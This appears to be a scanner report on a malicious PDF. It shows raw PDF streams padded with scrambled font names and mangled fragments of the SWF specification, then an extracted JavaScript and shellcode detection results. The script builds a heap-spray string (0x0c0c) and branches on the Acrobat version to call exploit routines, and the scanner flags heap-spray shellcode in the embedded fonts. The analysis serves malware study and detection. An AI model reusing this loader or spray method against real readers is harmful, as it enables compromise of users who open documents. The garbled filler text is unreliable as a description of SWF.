12 0 0 12 16 749.25 Tm
(1)Tj
ET
endstream 
endobj 
40 0 obj 
<<
/Length 4101
/Length1 4101
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BasefdsFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncodisangdsa/FontDescripfdtaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinafnsiEncodfding/FontDessacrifpaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfd/Tahoma/Encoding/WinAnsiEdsncoding/Ffdefdcriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfdsa/Tahoma/Encoding/WinAnsiEncoding/dfaFontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEnfdacoding/FontDsescriptor/BasdeFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDfdfdsescraiptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsfdsaiEncoding/FontDescriptor/BaaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptorf/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEfdsancoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
aseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encodinas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrg/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(3)Tj
ET
endstream 
endobj 
39 0 obj 
<<
/Length 3553
/Length1 3553
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScroma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/TiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
The SWF (pronoiff ? file format delivers vector graphics, text, video, and sound
over the Internet and is supported by Adobe?Flash?Player software. The SWF file format is
designed to be an efficient delivery format, not a format for exchanging graphics between
graphics editors. It is designed to meet the following goals:
On-screen disormat is primarily intended for on-screen display and supports
anti-aliasing, fast rendering to a bitmap of any color format, animation, and interactive
buttons.
Extensibirmat is a tagged format, so it can be evolved with new features while
maintaining backward compatibility with earlier versions of Flash Player.
Network delormat can travel over a network with limited and unpredictable
bandwidth. The files are compressed to be small and support incremental rendering through
streaming. The SWF file format is a binary format and is not human readable like HTML.
The SWF file format uses techniques such as bit-packing and structures with optional fields
to minimize file size.
Simpe format is simple so that Flash Player is small and easily ported. Also, Flash
Player depends upon a limited set of operating system features only.
File indepene files display with minimal dependence on external resources such
as fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScript object model that allows interaction with drawing
primitives, servers, and features of Flash Player.
SWF files have the extension .swf and a MIME type of application/x-shockwave-flash.


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(2)Tj
ET
endstream 
endobj 
38 0 obj 
<<
/Length 96
/Length1 96
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
BT
0  scn
/F1 32 Tf
12 0 0 12 16 749.25 Tm
(1)Tj
ET
endstream 
endobj xref
0 45
0000000000 65535 f 
0000000015 00000 n 
0000009212 00000 n 
0000000095 00000 n 
0000026825 00000 n 
0000000603 00000 n 
0000000404 00000 n 
0000000206 00000 n 
0000018319 00000 n 
0000018120 00000 n 
0000017921 00000 n 
0000042816 00000 n 
0000042616 00000 n 
0000042417 00000 n 
0000000802 00000 n 
0000009614 00000 n 
0000001256 00000 n 
0000000896 00000 n 
0000001418 00000 n 
0000001076 00000 n 
0000005041 00000 n 
0000000838 00000 n 
0000009370 00000 n 
0000009254 00000 n 
0000051323 00000 n 
0000051373 00000 n 
0000009320 00000 n 
0000027362 00000 n 
0000009759 00000 n 
0000009886 00000 n 
0000018518 00000 n 
0000062143 00000 n 
0000058520 00000 n 
0000054349 00000 n 
0000018663 00000 n 
0000018790 00000 n 
0000026860 00000 n 
0000043016 00000 n 
0000070099 00000 n 
0000066476 00000 n 
0000062305 00000 n 
0000043161 00000 n 
0000043288 00000 n 
0000051423 00000 n 
0000052721 00000 n 
trailer

<<
/Root 1 0 R
/Size 45
>>
startxref
70260
%%EOF
javascript_obj0044_005.js pdf-javascript-stream PDF /JS object 44 at offset 0xCE15 18471 bytes
SHA-256: 771136952decfde69cc3e33b64317c61ee591de9b498316c9d744304afd5233f
Preview script
First 1,000 lines of the extracted script
function yy()
{
var cXMLDoc = "<family name = 'Robat'><grandad id = 'm1' name = 'A.C.' gender='M'><child> m2 </child><personal><income>100000</income></personal></grandad><dad id = 'm2' name = 'Bob' gender='M'><parent> m1 </parent><spouse> m3 </spouse><child> m4 </child><child> m5 </child><child> m6 </child><personal><income>75000</income></personal></dad><mom id = 'm3' name = 'Mary' gender='F'><spouse> m2 </spouse><personal><income>25000</income></personal></mom><daughter id = 'm4' name = 'Sue' gender='F'><parent> m2 </parent><personal><income>40000</income></personal></daughter><son id = 'm5' name = 'Jim' gender='M'><parent> m2 </parent><personal><income>35000</income></personal></son><daughter id = 'm6' name = 'Megan' gender='F'><parent> m2 </parent><personal><income>30000</income></personal></daughter></family>";
var myXML= XMLData.parse( cXMLDoc, false);
console.println("Document name: " + this.documentFileName);
// The xfa object is undefined in an Acrobat form.
if ( typeof xfa == "object" ) {
if ( this.dynamicXFAForm )
console.println(" This is a dynamic XML form.");
else
console.println(" This is a static XML form.");
if ( this.XFAForeground )
console.println(" This document has imported artwork");
}
else console.println(" This is an Acrobat form.");
}
try
{
var aaa = myXML;
var bbb = "cccccccc";
var ccc = "dddddddd";
ddd = ccc.substring(0, (0x0c0c-0x24)/2);
ddd += bbb;
ddd += ccc;              
if (app.viewVersion >=9)
{
asd(myXML);
}
else if (app.viewVersion >=8)
{
bsd(myXML);
}
if (app.viewVersion >=7)
{
csd(myXML);
}
}
catch(e){xx()}

endstream 
endobj 
33 0 obj 
<<
/Length 4101
/Length1 4101
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BasefdsFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncodisangdsa/FontDescripfdtaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinafnsiEncodfding/FontDessacrifpaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfd/Tahoma/Encoding/WinAnsiEdsncoding/Ffdefdcriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfdsa/Tahoma/Encoding/WinAnsiEncoding/dfaFontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEnfdacoding/FontDsescriptor/BasdeFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDfdfdsescraiptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsfdsaiEncoding/FontDescriptor/BaaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptorf/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEfdsancoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
aseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encodinas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrg/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(3)Tj
ET
endstream 
endobj 
32 0 obj 
<<
/Length 3553
/Length1 3553
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScroma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/TiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
The SWF (pronoiff ? file format delivers vector graphics, text, video, and sound
over the Internet and is supported by Adobe?Flash?Player software. The SWF file format is
designed to be an efficient delivery format, not a format for exchanging graphics between
graphics editors. It is designed to meet the following goals:
On-screen disormat is primarily intended for on-screen display and supports
anti-aliasing, fast rendering to a bitmap of any color format, animation, and interactive
buttons.
Extensibirmat is a tagged format, so it can be evolved with new features while
maintaining backward compatibility with earlier versions of Flash Player.
Network delormat can travel over a network with limited and unpredictable
bandwidth. The files are compressed to be small and support incremental rendering through
streaming. The SWF file format is a binary format and is not human readable like HTML.
The SWF file format uses techniques such as bit-packing and structures with optional fields
to minimize file size.
Simpe format is simple so that Flash Player is small and easily ported. Also, Flash
Player depends upon a limited set of operating system features only.
File indepene files display with minimal dependence on external resources such
as fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScript object model that allows interaction with drawing
primitives, servers, and features of Flash Player.
SWF files have the extension .swf and a MIME type of application/x-shockwave-flash.


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(2)Tj
ET
endstream 
endobj 
31 0 obj 
<<
/Length 96
/Length1 96
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
BT
0  scn
/F1 32 Tf
12 0 0 12 16 749.25 Tm
(1)Tj
ET
endstream 
endobj 
40 0 obj 
<<
/Length 4101
/Length1 4101
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BasefdsFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncodisangdsa/FontDescripfdtaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinafnsiEncodfding/FontDessacrifpaor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfd/Tahoma/Encoding/WinAnsiEdsncoding/Ffdefdcriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFontfdsa/Tahoma/Encoding/WinAnsiEncoding/dfaFontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEnfdacoding/FontDsescriptor/BasdeFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDfdfdsescraiptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsfdsaiEncoding/FontDescriptor/BaaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptorf/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEfdsancoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
aseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encodinas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScrg/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(3)Tj
ET
endstream 
endobj 
39 0 obj 
<<
/Length 3553
/Length1 3553
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahas fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScroma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/TiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor/BaseFont/Tahoma/Encoding/WinAnsiEncoding/FontDescriptor
The SWF (pronoiff ? file format delivers vector graphics, text, video, and sound
over the Internet and is supported by Adobe?Flash?Player software. The SWF file format is
designed to be an efficient delivery format, not a format for exchanging graphics between
graphics editors. It is designed to meet the following goals:
On-screen disormat is primarily intended for on-screen display and supports
anti-aliasing, fast rendering to a bitmap of any color format, animation, and interactive
buttons.
Extensibirmat is a tagged format, so it can be evolved with new features while
maintaining backward compatibility with earlier versions of Flash Player.
Network delormat can travel over a network with limited and unpredictable
bandwidth. The files are compressed to be small and support incremental rendering through
streaming. The SWF file format is a binary format and is not human readable like HTML.
The SWF file format uses techniques such as bit-packing and structures with optional fields
to minimize file size.
Simpe format is simple so that Flash Player is small and easily ported. Also, Flash
Player depends upon a limited set of operating system features only.
File indepene files display with minimal dependence on external resources such
as fonts.
Scala files work well on limited hardware, and can take advantage of better
hardware when it is available. This ability is important because computers have different
monitor resolutions and bit depths.
raphics described by SWF files render quickly.
Scripta format includes tags that provide sequences of byte codes to be
interpreted by a stack machine. The byte codes support the ActionScript?language. Flash
Player provides a runtime ActionScript object model that allows interaction with drawing
primitives, servers, and features of Flash Player.
SWF files have the extension .swf and a MIME type of application/x-shockwave-flash.


BT
0  scn
/TT0 2 Tf
12 0 0 12 16 749.25 Tm
(2)Tj
ET
endstream 
endobj 
38 0 obj 
<<
/Length 96
/Length1 96
>>
stream
/CS0 cs 1  scn
10 765.75 591.75 -729.75 re
f
BT
0  scn
/F1 32 Tf
12 0 0 12 16 749.25 Tm
(1)Tj
ET
endstream 
endobj xref
0 45
0000000000 65535 f 
0000000015 00000 n 
0000009212 00000 n 
0000000095 00000 n 
0000026825 00000 n 
0000000603 00000 n 
0000000404 00000 n 
0000000206 00000 n 
0000018319 00000 n 
0000018120 00000 n 
0000017921 00000 n 
0000042816 00000 n 
0000042616 00000 n 
0000042417 00000 n 
0000000802 00000 n 
0000009614 00000 n 
0000001256 00000 n 
0000000896 00000 n 
0000001418 00000 n 
0000001076 00000 n 
0000005041 00000 n 
0000000838 00000 n 
0000009370 00000 n 
0000009254 00000 n 
0000051323 00000 n 
0000051373 00000 n 
0000009320 00000 n 
0000027362 00000 n 
0000009759 00000 n 
0000009886 00000 n 
0000018518 00000 n 
0000062143 00000 n 
0000058520 00000 n 
0000054349 00000 n 
0000018663 00000 n 
0000018790 00000 n 
0000026860 00000 n 
0000043016 00000 n 
0000070099 00000 n 
0000066476 00000 n 
0000062305 00000 n 
0000043161 00000 n 
0000043288 00000 n 
0000051423 00000 n 
0000052721 00000 n 
trailer

<<
/Root 1 0 R
/Size 45
>>
startxref
70260
%%EOF
font_00_sfnt_off000026d0.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x26D0 7965 bytes
SHA-256: fc85f44193ccd402987935418c4f5fdf6802c96450b789e7fce04f9791933021
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
font_01_sfnt_off00004998.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x4998 7965 bytes
SHA-256: 1e827515a464087cdace63e3578c118b45a657ed40cdbb9de7eead35c9b593ba
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
font_02_sfnt_off0000a94a.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xA94A 7965 bytes
SHA-256: 823021e67c69104f3db2966cb1f6abc7103a6715ef1bffc315b5f9c5ea04a787
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x0C